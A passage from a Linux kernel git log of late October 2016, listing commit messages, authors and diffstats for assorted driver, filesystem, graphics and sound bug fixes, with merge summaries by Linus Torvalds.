+0200 mlxsw: spectrum_router: Compare only trees which are in use during tree get Only trees which are in use should be compared to requested prefix usage. Fixes: 53342023eed9 ("mlxsw: spectrum_router: Implement LPM trees management") Signed-off-by: Jiri Pirko Reviewed-by: Ido Schimmel Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2083d36790e328a364896a2833fbedbf6e1d2317 Author: Jiri Pirko Date: Tue Oct 25 11:25:56 2016 +0200 mlxsw: spectrum_router: Save requested prefix bitlist when creating tree Currently, the prefix bitlist is not saved for LPM trees, causing the compare to always fail which causes the tree to be destroyed and created for every inserted and removed FIB entry. So fix this by saving the bitlist as it should have been done from the very beginning. Fixes: 53342023eed9 ("mlxsw: spectrum_router: Implement LPM trees management") Signed-off-by: Jiri Pirko Reviewed-by: Ido Schimmel Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c | 2 ++ 1 file changed, 2 insertions(+) commit ba14fa1a57c07cca9d520ceded8d3da5beb6175f Author: H. Nikolaus Schaller Date: Thu Oct 27 14:31:39 2016 +0200 regulator: core: silence warning: "VDD1: ramp_delay not set" commit 73e705bf81ce ("regulator: core: Add set_voltage_time op") introduced a new rdev_warn() if the ramp_delay is 0. Apparently, on omap3/twl4030 platforms with dynamic voltage management this results in non-ending spurious messages like [ 511.143066] VDD1: ramp_delay not set [ 511.662322] VDD1: ramp_delay not set [ 513.903625] VDD1: ramp_delay not set [ 514.222198] VDD1: ramp_delay not set [ 517.062835] VDD1: ramp_delay not set [ 517.382568] VDD1: ramp_delay not set [ 520.142791] VDD1: ramp_delay not set [ 520.502593] VDD1: ramp_delay not set [ 523.062896] VDD1: ramp_delay not set [ 523.362701] VDD1: ramp_delay not set [ 526.143035] VDD1: ramp_delay not set I have observed this on GTA04 while it is reported to occur on N900 as well: https://bugzilla.kernel.org/show_bug.cgi?id=178371 This patch makes the warning appear only in debugging mode. Signed-off-by: H. Nikolaus Schaller Signed-off-by: Mark Brown drivers/regulator/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 340327a62c4a145e098fd6c1116f12062eeec707 Author: Jon Medhurst (Tixy) Date: Fri Oct 28 09:18:24 2016 +0100 ASoC: hdmi-codec: Fix hdmi_of_xlate_dai_name when #sound-dai-cells = <0> If a DAI specifies "#sound-dai-cells = <0>" in device-tree then hdmi_of_xlate_dai_name() will be called with zero args, which it isn't implemented to cope with. The resulting use of an uninitialised variable for the id will usually result in an error like: asoc-simple-card sound: parse error -11 asoc-simple-card: probe of sound failed with error -11 Fix this by using and id of zero if no arg is provided. Fixes: 9731f82d6016 ("ASoC: hdmi-codec: enable multi probe for same device") Signed-off-by: Jon Medhurst Signed-off-by: Mark Brown sound/soc/codecs/hdmi-codec.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 73f5dfc68316bef2ab7062ecdefd4b0ca941b4c1 Author: Marek Szyprowski Date: Thu Oct 27 12:34:02 2016 +0200 ASoC: samsung: get access to DMA engine early to defer probe properly ASoC Samsung sub-drivers tried to get access to their DMA engine controllers as a last step in driver probe. If a DMA engine was not available yet, samsung_asoc_dma_platform_register() function ended in -EPROBE_DEFER, but the driver already registered its component to ASoC core. This patch moves samsung_asoc_dma_platform_register() call before registering any components, to the common place, where driver was gathering all needed resources. In case of Samsung Exynos i2s driver the issue was even worse. The driver managed already to register its secondary DAI platform device before even getting the DMA engine access. That together with -EPROBE_DEFER error code from samsung_i2s_probe() immediately triggered another round of deferred probe retry and in turn endless loop of driver probing. This patch fixes broken boot on Odroid XU3 and other Exynos5422-based boards. Signed-off-by: Marek Szyprowski Reviewed-by: Javier Martinez Canillas Reviewed-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/ac97.c | 10 +++++----- sound/soc/samsung/i2s.c | 19 ++++++++++--------- sound/soc/samsung/pcm.c | 19 ++++++++++--------- sound/soc/samsung/s3c2412-i2s.c | 16 ++++++++-------- sound/soc/samsung/s3c24xx-i2s.c | 14 +++++++------- sound/soc/samsung/spdif.c | 14 +++++++------- 6 files changed, 47 insertions(+), 45 deletions(-) commit 72193a953ada9058e46970838cc42cbd18bf4eba Author: Charles Keepax Date: Fri Oct 28 11:38:53 2016 +0100 regmap: Rename ret variable in regmap_read_poll_timeout As almost all of the callers of the regmap_read_poll_timeout macro will include a local ret variable we will always get a Sparse warning about the duplication of the ret variable: warning: symbol 'ret' shadows an earlier one Simply rename the ret variable in the marco to pollret to make this significantly less likely to happen. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown include/linux/regmap.h | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 965c4b7e1adacd8fd9c5f3db6f64c3ba834ef6a0 Merge: f616751 56fb2d6 62c6151 f5d6d2d Author: Linus Torvalds Date: Fri Oct 28 10:12:27 2016 -0700 Merge branches 'core-urgent-for-linus', 'irq-urgent-for-linus' and 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull objtool, irq and scheduler fixes from Ingo Molnar: "One more objtool fixlet for GCC6 code generation patterns, an irq DocBook fix and an unused variable warning fix in the scheduler" * 'core-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: objtool: Fix rare switch jump table pattern detection * 'irq-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: doc: Add missing parameter for msi_setup * 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: sched/fair: Remove unused but set variable 'rq' commit b75dcd9c7d352c7d9ea9010e95c708595094896a Author: Vineet Gupta Date: Tue Oct 25 11:23:19 2016 -0700 ARC: module: print pretty section names Now that we have referece to section name string table in apply_relocate_add(), use it to - print the name of section being relocated - print symbol with NULL name (since it refers to a section) before | Section to fixup 7000a060 | ========================================================= | rela->r_off | rela->addend | sym->st_value | ADDR | VALUE | ========================================================= | 1c 0 7000e000 7000a07c 7000e000 [] | 40 0 7000a000 7000a0a0 7000a000 [] after | Section to fixup .eh_frame @7000a060 | ========================================================= | r_off r_add st_value ADDRESS VALUE | ========================================================= | 1c 0 7000e000 7000a07c 7000e000 [.init.text] | 40 0 7000a000 7000a0a0 7000a000 [.exit.text] Signed-off-by: Vineet Gupta arch/arc/kernel/module.c | 35 +++++++++++++++++++++-------------- 1 file changed, 21 insertions(+), 14 deletions(-) commit d65283f7b695b5d04ca1ab58b6bb41f443b96286 Author: Vineet Gupta Date: Tue Oct 25 10:43:20 2016 -0700 ARC: module: elide loop to save reference to .eh_frame The loop was really needed in .debug_frame regime where wanted make it as SH_ALLOC so that apply_relocate_add() would process it. That's not needed for .eh_frame, so we check this in apply_relocate_add() which gets called for each section. Note that we need to save reference to "section name strings" section in module_frob_arch_sections() since apply_relocate_add() doesn't get that Signed-off-by: Vineet Gupta arch/arc/include/asm/module.h | 1 + arch/arc/kernel/module.c | 18 ++++++++---------- 2 files changed, 9 insertions(+), 10 deletions(-) commit f644e3688855902ad11549029098a62cbbc8f558 Author: Vineet Gupta Date: Tue Oct 25 08:58:17 2016 -0700 ARC: mm: retire ARC_DBG_TLB_MISS_COUNT... ... given that we have perf counters abel to do the same thing non intrusively Signed-off-by: Vineet Gupta arch/arc/Kconfig | 8 --- arch/arc/kernel/troubleshoot.c | 110 ----------------------------------------- arch/arc/mm/tlbex.S | 21 -------- 3 files changed, 139 deletions(-) commit c3005475889c7c730638f95d13be3360f0b33e98 Author: Vineet Gupta Date: Fri Oct 21 16:04:37 2016 -0700 ARC: build: retire old toggles These are really ancient toggles and tools no longer require them to be passed. This paves way for deprecating them in long run. Signed-off-by: Vineet Gupta arch/arc/Makefile | 3 --- 1 file changed, 3 deletions(-) commit d975cbc8acb6f4a52ac46a57b13bd6a7f871b5e9 Author: Vineet Gupta Date: Thu Oct 27 14:33:19 2016 -0700 ARC: boot log: refactor cpu name/release printing The motivation is to identify ARC750 vs. ARC770 (we currently print generic "ARC700"). A given ARC700 release could be 750 or 770, with same ARCNUM (or family identifier which is unfortunate). The existing arc_cpu_tbl[] kept a single concatenated string for core name and release which thus doesn't work for 750 vs. 770 identification. So split this into 2 tables, one with core names and other with release. And while we are at it, get rid of the range checking for family numbers. We just document the known to exist cores running Linux and ditch others. With this in place, we add detection of ARC750 which is - cores 0x33 and before - cores 0x34 and later with MMUv2 Signed-off-by: Vineet Gupta arch/arc/include/asm/arcregs.h | 2 +- arch/arc/include/asm/setup.h | 5 ----- arch/arc/kernel/setup.c | 51 +++++++++++++++++++++++++++--------------- 3 files changed, 34 insertions(+), 24 deletions(-) commit d7c46114e356fe41b7291ebff70d7ca09c0f0ac9 Author: Vineet Gupta Date: Tue Oct 25 13:45:11 2016 -0700 ARC: boot log: remove awkward space comma from MMU line Signed-off-by: Vineet Gupta arch/arc/mm/tlb.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a024fd9bc4d0b102b8aa66b8ecba678d2d32fdcf Author: Vineet Gupta Date: Thu Oct 20 18:08:10 2016 -0700 ARC: boot log: don't assume SWAPE instruction support This came to light when helping a customer with oldish ARC750 core who were getting instruction errors because of lack of SWAPE but boot log was incorrectly printing it as being present Signed-off-by: Vineet Gupta arch/arc/include/asm/arcregs.h | 2 +- arch/arc/kernel/setup.c | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) commit 73e284d2572581d848267c74552215f95f0f0996 Author: Vineet Gupta Date: Thu Oct 20 17:49:15 2016 -0700 ARC: boot log: refactor printing abt features not captured in BCRs On older arc700 cores, some of the features configured were not present in Build config registers. To print about them at boot, we just use the Kconfig option i.e. whether linux is built to use them or not. So yes this seems bogus, but what else can be done. Moreover if linux is booting with these enabled, then the Kconfig info is a good indicator anyways. Over time these "hacks" accumulated in read_arc_build_cfg_regs() as well as arc_cpu_mumbojumbo(). so refactor and move all of those in a single place: read_arc_build_cfg_regs(). This causes some code redcution too: | bloat-o-meter2 arch/arc/kernel/setup.o.0 arch/arc/kernel/setup.o.1 | add/remove: 0/0 grow/shrink: 2/1 up/down: 64/-132 (-68) | function old new delta | setup_processor 610 670 +60 | cpuinfo_arc700 76 80 +4 | arc_cpu_mumbojumbo 752 620 -132 Signed-off-by: Vineet Gupta arch/arc/include/asm/arcregs.h | 1 + arch/arc/kernel/setup.c | 87 ++++++++++++++++++++---------------------- 2 files changed, 43 insertions(+), 45 deletions(-) commit f6167514c819cb7794e60cf36b9466598a789013 Merge: 2cd0b50 570dd45 Author: Linus Torvalds Date: Fri Oct 28 10:07:35 2016 -0700 Merge branch 'for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/mason/linux-btrfs Pull btrfs fixes from Chris Mason: "My patch fixes the btrfs list_head abuse that we tracked down during Dave Jones' memory corruption investigation. With both Jens and my patches in place, I'm no longer able to trigger problems. Filipe is fixing a difficult old bug between snapshots, balance and send. Dave is cooking a few more for the next rc, but these are tested and ready" * 'for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/mason/linux-btrfs: btrfs: fix races on root_log_ctx lists btrfs: fix incremental send failure caused by balance commit 711c1f2671174c918045e2cb20aece976ac516cd Author: Vineet Gupta Date: Thu Oct 13 15:53:02 2016 -0700 ARCv2: boot log: print IOC exists as well as enabled status Previously we would not print the case when IOC existed but was not enabled. And while at it, reduce one line off boot printing by consolidating the Peripheral address space and IO-Coherency which in a way applies to them Signed-off-by: Vineet Gupta arch/arc/include/asm/setup.h | 1 + arch/arc/kernel/setup.c | 4 +--- arch/arc/mm/cache.c | 9 +++------ 3 files changed, 5 insertions(+), 9 deletions(-) commit d64b5bf5b10ad95fd4a2684e1fc39eb7b00d9d0c Author: Stephen Barber Date: Thu Oct 27 18:02:27 2016 -0700 ASoC: da7219: Connect output enable register to DAIOUT da7219 output (for headset capture) should be set to high-impedance when not in use, since it will otherwise interfere with output from other codecs attached to the same DAI. Signed-off-by: Stephen Barber Acked-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7219.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2cd0b50a189febfe1855b13be98297a621864741 Merge: bdb5208 bdc3478 Author: Linus Torvalds Date: Fri Oct 28 10:00:44 2016 -0700 Merge tag 'sound-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound Pull sound fixes from Takashi Iwai: "This contains the usual stuff -- the fixups and quirks for HD-audio and USB-audio, in addition to a bad regression fix in ALSA sequencer timer since 4.8, and a trivial fix for asihpi PCI driver" * tag 'sound-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound: ALSA: usb-audio: Add quirk for Syntek STK1160 ALSA: seq: Fix time account regression ALSA: hda - Fix surround output pins for ASRock B150M mobo ALSA: hda - Fix headset mic detection problem for two Dell laptops ALSA: asihpi: fix kernel memory disclosure ALSA: hda - Adding a new group of pin cfg into ALC295 pin quirk table ALSA: hda - allow 40 bit DMA mask for NVidia devices commit bdb520845b5700284f34437fadb920000c306466 Merge: e0f3e6a 7cf321d Author: Linus Torvalds Date: Fri Oct 28 09:36:07 2016 -0700 Merge tag 'drm-x86-pat-regression-fix' of git://people.freedesktop.org/~airlied/linux Pull drm x86/pat regression fixes from Dave Airlie: "This is a standalone pull request for the fix for a regression introduced in -rc1 by a change to vm_insert_mixed to start using the PAT range tracking to validate page protections. With this fix in place, all the VRAM mappings for GPU drivers ended up at UC instead of WC. There are probably better ways to fix this long term, but nothing I'd considered for -fixes that wouldn't need more settling in time. So I've just created a new arch API that the drivers can reserve all their VRAM aperture ranges as WC" * tag 'drm-x86-pat-regression-fix' of git://people.freedesktop.org/~airlied/linux: drm/drivers: add support for using the arch wc mapping API. x86/io: add interface to reserve io memtype for a resource range. (v1.1) commit 7a5857c3c282c12a8bd0cfd2dd4a17a9252c2b4d Author: Sodhi, VunnyX Date: Fri Oct 28 16:59:41 2016 +0530 ASoC: Intel: Skylake: Fix to turn off hdmi power on probe failure HDMI codec is required to be powered up before controller initialization for successful enumeration of codec. If the probe fails it needs to be powered off to balance the power state of HDMI codec. This fix balances the reference count in the error path before turning off the codec. Reported-by: Takashi Sakamoto Signed-off-by: Sodhi, VunnyX Signed-off-by: Subhransu S. Prusty Signed-off-by: Mark Brown sound/soc/intel/skylake/skl.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit e0f3e6a7ccc002be056b6a21768fceee0d44941e Merge: 4393700 dafa724 Author: Linus Torvalds Date: Fri Oct 28 09:27:58 2016 -0700 Merge tag 'dm-4.9-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm Pull device mapper fixes from Mike Snitzer: - a couple DM raid and DM mirror fixes - a couple .request_fn request-based DM NULL pointer fixes - a fix for a DM target reference count leak, on target load error, that prevented associated DM target kernel module(s) from being removed * tag 'dm-4.9-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm: dm table: fix missing dm_put_target_type() in dm_table_add_target() dm rq: clear kworker_task if kthread_run() returned an error dm: free io_barrier after blk_cleanup_queue call dm raid: fix activation of existing raid4/10 devices dm mirror: use all available legs on multiple failures dm mirror: fix read error on recovery after default leg failure dm raid: fix compat_features validation commit 43937003de5b677781b2fe4c871d628ab00cc341 Merge: 14970f2 31e6ec4 Author: Linus Torvalds Date: Fri Oct 28 09:23:59 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security Pull key fixes from James Morris: - fix a buffer overflow when displaying /proc/keys [CVE-2016-7042]. - fix broken initialisation in the big_key implementation that can result in an oops. - make big_key depend on having a random number generator available in Kconfig. * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security: security/keys: make BIG_KEYS dependent on stdrng. KEYS: Sort out big_key initialisation KEYS: Fix short sprintf buffer in /proc/keys show function commit a00052a296e54205cf238c75bd98d17d5d02a6db Author: Richard Weinberger Date: Fri Oct 28 11:49:03 2016 +0200 ubifs: Fix regression in ubifs_readdir() Commit c83ed4c9dbb35 ("ubifs: Abort readdir upon error") broke overlayfs support because the fix exposed an internal error code to VFS. Reported-by: Peter Rosin Tested-by: Peter Rosin Reported-by: Ralph Sennhauser Tested-by: Ralph Sennhauser Fixes: c83ed4c9dbb35 ("ubifs: Abort readdir upon error") Cc: stable@vger.kernel.org Signed-off-by: Richard Weinberger fs/ubifs/dir.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 40b6e61ac72e99672e47cdb99c8d7d226004169b Author: Boris Brezillon Date: Fri Oct 28 11:08:44 2016 +0200 ubi: fastmap: Fix add_vol() return value test in ubi_attach_fastmap() Commit e96a8a3bb671 ("UBI: Fastmap: Do not add vol if it already exists") introduced a bug by changing the possible error codes returned by add_vol(): - this function no longer returns NULL in case of allocation failure but return ERR_PTR(-ENOMEM) - when a duplicate entry in the volume RB tree is found it returns ERR_PTR(-EEXIST) instead of ERR_PTR(-EINVAL) Fix the tests done on add_vol() return val to match this new behavior. Fixes: e96a8a3bb671 ("UBI: Fastmap: Do not add vol if it already exists") Reported-by: Dan Carpenter Signed-off-by: Boris Brezillon Acked-by: Sheng Yong Signed-off-by: Richard Weinberger drivers/mtd/ubi/fastmap.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit a7d5afe82d4931289250d6e807e35db3885b3b12 Author: Gabriel Krisman Bertazi Date: Tue Oct 4 15:26:48 2016 -0300 MAINTAINERS: Add entry for genwqe driver Frank and I maintain this Signed-off-by: Gabriel Krisman Bertazi Cc: haver@linux.vnet.ibm.com Acked-by: Frank Haverkamp = Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 6 ++++++ 1 file changed, 6 insertions(+) commit eb94cd68abd9b7c92bf70ddc452d65f1a84c46e2 Author: Jorgen Hansen Date: Thu Oct 6 04:43:08 2016 -0700 VMCI: Doorbell create and destroy fixes This change consists of two changes: 1) If vmci_doorbell_create is called when neither guest nor host personality as been initialized, vmci_get_context_id will return VMCI_INVALID_ID. In that case, we should fail the create call. 2) In doorbell destroy, we assume that vmci_guest_code_active() has the same return value on create and destroy. That may not be the case, so we may end up with the wrong refcount. Instead, destroy should check explicitly whether the doorbell is in the index table as an indicator of whether the guest code was active at create time. Reviewed-by: Adit Ranadive Signed-off-by: Jorgen Hansen Signed-off-by: Greg Kroah-Hartman drivers/misc/vmw_vmci/vmci_doorbell.c | 8 +++++++- drivers/misc/vmw_vmci/vmci_driver.c | 2 +- 2 files changed, 8 insertions(+), 2 deletions(-) commit a7a7aeefbca2982586ba2c9fd7739b96416a6d1d Author: Gerald Schaefer Date: Wed Oct 19 12:29:41 2016 +0200 GenWQE: Fix bad page access during abort of resource allocation When interrupting an application which was allocating DMAable memory, it was possible, that the DMA memory was deallocated twice, leading to the error symptoms below. Thanks to Gerald, who analyzed the problem and provided this patch. I agree with his analysis of the problem: ddcb_cmd_fixups() -> genwqe_alloc_sync_sgl() (fails in f/lpage, but sgl->sgl != NULL and f/lpage maybe also != NULL) -> ddcb_cmd_cleanup() -> genwqe_free_sync_sgl() (double free, because sgl->sgl != NULL and f/lpage maybe also != NULL) In this scenario we would have exactly the kind of double free that would explain the WARNING / Bad page state, and as expected it is caused by broken error handling (cleanup). Using the Ubuntu git source, tag Ubuntu-4.4.0-33.52, he was able to reproduce the "Bad page state" issue, and with the patch on top he could not reproduce it any more. ------------[ cut here ]------------ WARNING: at /build/linux-o03cxz/linux-4.4.0/arch/s390/include/asm/pci_dma.h:141 Modules linked in: qeth_l2 ghash_s390 prng aes_s390 des_s390 des_generic sha512_s390 sha256_s390 sha1_s390 sha_common genwqe_card qeth crc_itu_t qdio ccwgroup vmur dm_multipath dasd_eckd_mod dasd_mod CPU: 2 PID: 3293 Comm: genwqe_gunzip Not tainted 4.4.0-33-generic #52-Ubuntu task: 0000000032c7e270 ti: 00000000324e4000 task.ti: 00000000324e4000 Krnl PSW : 0404c00180000000 0000000000156346 (dma_update_cpu_trans+0x9e/0xa8) R:0 T:1 IO:0 EX:0 Key:0 M:1 W:0 P:0 AS:3 CC:0 PM:0 EA:3 Krnl GPRS: 00000000324e7bcd 0000000000c3c34a 0000000027628298 000000003215b400 0000000000000400 0000000000001fff 0000000000000400 0000000116853000 07000000324e7b1e 0000000000000001 0000000000000001 0000000000000001 0000000000001000 0000000116854000 0000000000156402 00000000324e7a38 Krnl Code: 000000000015633a: 95001000 cli 0(%r1),0 000000000015633e: a774ffc3 brc 7,1562c4 #0000000000156342: a7f40001 brc 15,156344 >0000000000156346: 92011000 mvi 0(%r1),1 000000000015634a: a7f4ffbd brc 15,1562c4 000000000015634e: 0707 bcr 0,%r7 0000000000156350: c00400000000 brcl 0,156350 0000000000156356: eb7ff0500024 stmg %r7,%r15,80(%r15) Call Trace: ([<00000000001563e0>] dma_update_trans+0x90/0x228) [<00000000001565dc>] s390_dma_unmap_pages+0x64/0x160 [<00000000001567c2>] s390_dma_free+0x62/0x98 [<000003ff801310ce>] __genwqe_free_consistent+0x56/0x70 [genwqe_card] [<000003ff801316d0>] genwqe_free_sync_sgl+0xf8/0x160 [genwqe_card] [<000003ff8012bd6e>] ddcb_cmd_cleanup+0x86/0xa8 [genwqe_card] [<000003ff8012c1c0>] do_execute_ddcb+0x110/0x348 [genwqe_card] [<000003ff8012c914>] genwqe_ioctl+0x51c/0xc20 [genwqe_card] [<000000000032513a>] do_vfs_ioctl+0x3b2/0x518 [<0000000000325344>] SyS_ioctl+0xa4/0xb8 [<00000000007b86c6>] system_call+0xd6/0x264 [<000003ff9e8e520a>] 0x3ff9e8e520a Last Breaking-Event-Address: [<0000000000156342>] dma_update_cpu_trans+0x9a/0xa8 ---[ end trace 35996336235145c8 ]--- BUG: Bad page state in process jbd2/dasdb1-8 pfn:3215b page:000003d100c856c0 count:-1 mapcount:0 mapping: (null) index:0x0 flags: 0x3fffc0000000000() page dumped because: nonzero _count Signed-off-by: Gerald Schaefer Signed-off-by: Frank Haverkamp Cc: stable Signed-off-by: Greg Kroah-Hartman drivers/misc/genwqe/card_utils.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 6ad37567b6b886121e250036e489d82cde5e5e94 Author: Martyn Welch Date: Fri Oct 21 17:36:19 2016 +0100 vme: vme_get_size potentially returning incorrect value on failure The function vme_get_size returns the size of the window to the caller, however it doesn't check the return value of the call to vme_master_get. Return 0 on failure rather than anything else. Suggested-by: Dan Carpenter Signed-off-by: Martyn Welch Signed-off-by: Greg Kroah-Hartman drivers/vme/vme.c | 4 ++++ 1 file changed, 4 insertions(+) commit c89d5454d48e3b6ecae1c9f8bb14b3fac64d9fc8 Author: Ville Syrjälä Date: Mon Oct 24 19:13:04 2016 +0300 drm/i915: Fix SKL+ 90/270 degree rotated plane coordinate computation Pass the framebuffer size in .16 fixed point coordinates to drm_rect_rotate() since that's what the source coordinates are as well at this stage. We used to do this part of the computation in integer coordinates, but that got changed when moving the computation to happen in the check phase of the operation. Unfortunately I forgot to shift up the fb width and height appropriately. With the bogus size we ended up with some negative fb offset, which when added to the vma offset caused out scanout to start at an offset earlier than we inteded. Eg. when testing on my SKL I saw a row of incorrect tiles at the top of my screen. Cc: Tvrtko Ursulin Cc: Sivakumar Thulasimani Cc: drm-intel-fixes@lists.freedesktop.org Fixes: b63a16f6cd89 ("drm/i915: Compute display surface offset in the plane check hook for SKL+") Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1477325584-23679-1-git-send-email-ville.syrjala@linux.intel.com Tested-by: Tvrtko Ursulin Reviewed-by: Chris Wilson (cherry picked from commit da064b47c0b8d0dff1905b38c76e7e51fb5a9547) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_display.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7e9b3f95d64165f37c6448fe624d835c5adf17b9 Author: Tvrtko Ursulin Date: Tue Oct 25 17:41:12 2016 +0100 drm/i915: Remove two invalid warns Objects can have multiple VMAs used for display in which case assertion that objects must not be pinned for display more times than the current VMA is incorrect. v2: Commit message update. (Chris Wilson) Signed-off-by: Tvrtko Ursulin Fixes: 058d88c4330f ("drm/i915: Track pinned VMA") Cc: Chris Wilson Cc: Joonas Lahtinen Cc: Ville Syrjälä Reviewed-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1477413635-3876-1-git-send-email-tvrtko.ursulin@linux.intel.com (cherry picked from commit 3299e7e43484a85eeb5c7ec09958bff05c9d0543) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_gem.c | 3 --- 1 file changed, 3 deletions(-) commit 6d9deb910c8eee8728129326dc88ec109b03b135 Author: Tvrtko Ursulin Date: Tue Oct 25 17:40:35 2016 +0100 drm/i915: Rotated view does not need a fence We do not need to set up a fence for the rotated view. Display does not need it and no one can access it. v2: Move code to __i915_vma_set_map_and_fenceable. (Chris Wilson) Signed-off-by: Tvrtko Ursulin Fixes: 05a20d098db1 ("drm/i915: Move map-and-fenceable tracking to the VMA") Cc: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Chris Wilson (cherry picked from commit 07ee2bce6a516e0218dba22581803cb8f11bcf82) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_gem.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit e3b9e6e3a989904ae062e7a48a9431edc837ea6b Author: Paulo Zanoni Date: Fri Oct 21 13:55:45 2016 -0200 drm/i915/fbc: fix CFB size calculation for gen8+ Broadwell and newer actually compress up to 2560 lines instead of 2048 (as documented in the FBC_CTL page). If we don't take this into consideration we end up reserving too little stolen memory for the CFB, so we may allocate something else (such as a ring) right after what we reserved, and the hardware will overwrite it with the contents of the CFB when FBC is active, causing GPU hangs. Another possibility is that the CFB may be allocated at the very end of the available space, so the CFB will overlap the reserved stolen area, leading to FIFO underruns. This bug has always been a problem on BDW (the only affected platform where FBC is enabled by default), but it's much easier to reproduce since the following commit: commit c58b735fc762e891481e92af7124b85cb0a51fce Author: Chris Wilson Date: Thu Aug 18 17:16:57 2016 +0100 drm/i915: Allocate rings from stolen Of course, you can only reproduce the bug if your screen is taller than 2048 lines. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98213 Fixes: a98ee79317b4 ("drm/i915/fbc: enable FBC by default on HSW and BDW") Cc: # v4.6+ Signed-off-by: Paulo Zanoni Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1477065346-13736-1-git-send-email-paulo.r.zanoni@intel.com (cherry picked from commit 79f2624b1b9f776b173b41d743fb3dd7374b3827) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_fbc.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 1fb3672eaf6ec95fb34c22734feffd6041531c5b Author: Daniel Stone Date: Fri Oct 21 15:44:54 2016 +0100 drm: i915: Wait for fences on new fb, not old The previous code would wait for fences on the framebuffer from the old plane state to complete, rather than the new, so you would see tearing everywhere. Fix this to wait on the new state before we make it active. Signed-off-by: Daniel Stone Fixes: 94f050246b42 ("drm/i915: nonblocking commit") Cc: stable@vger.kernel.org Cc: Daniel Vetter Cc: Maarten Lankhorst Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161021144454.6288-1-daniels@collabora.com (cherry picked from commit 2d2c5ad83f772d7d7b0bb8348ecea42e88f89ab0) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_display.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0ce140d45a8398b501934ac289aef0eb7f47c596 Author: Ville Syrjälä Date: Tue Oct 11 20:52:47 2016 +0300 drm/i915: Clean up DDI DDC/AUX CH sanitation Now that we use the AUX and GMBUS assignment from VBT for all ports, let's clean up the sanitization of the port information a bit. Previosuly we only did this for port E, and only complained about a non-standard assignment for the other ports. But as we know that non-standard assignments are a fact of life, let's expand the sanitization to all the ports. v2: Include a commit message, fix up the comments a bit v3: Don't clobber other ports if the current port has no alternate aux ch/ddc pin Cc: stable@vger.kernel.org Cc: Maarten Maathuis Tested-by: Maarten Maathuis References: https://bugs.freedesktop.org/show_bug.cgi?id=97877 Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1476208368-5710-4-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Jim Bride (v2) (cherry picked from commit 9454fa871edf15c20a0371548b3ec0d6d944a498) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_bios.c | 122 ++++++++++++++++++++++++-------------- 1 file changed, 77 insertions(+), 45 deletions(-) commit 198c5ee3c60169f8b64bcd330a34593be80699aa Author: Ville Syrjälä Date: Tue Oct 11 20:52:45 2016 +0300 drm/i915: Respect alternate_aux_channel for all DDI ports The VBT provides the platform a way to mix and match the DDI ports vs. AUX channels. Currently we only trust the VBT for DDI E, which has no corresponding AUX channel of its own. However it is possible that some board might use some non-standard DDI vs. AUX port routing even for the other ports. Perhaps for signal routing reasons or something, So let's generalize this and trust the VBT for all ports. For now we'll limit this to DDI platforms, as we trust the VBT a bit more there anyway when it comes to the DDI ports. I've structured the code in a way that would allow us to easily expand this to other platforms as well, by simply filling in the ddi_port_info. v2: Drop whitespace changes, keep MISSING_CASE() for unknown aux ch assignment, include a commit message, include debug message during init Cc: stable@vger.kernel.org Cc: Maarten Maathuis Tested-by: Maarten Maathuis References: https://bugs.freedesktop.org/show_bug.cgi?id=97877 Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1476208368-5710-2-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Jim Bride (cherry picked from commit 8f7ce038f1178057733b7e765bf9160a2f9be14b) Signed-off-by: Jani Nikula 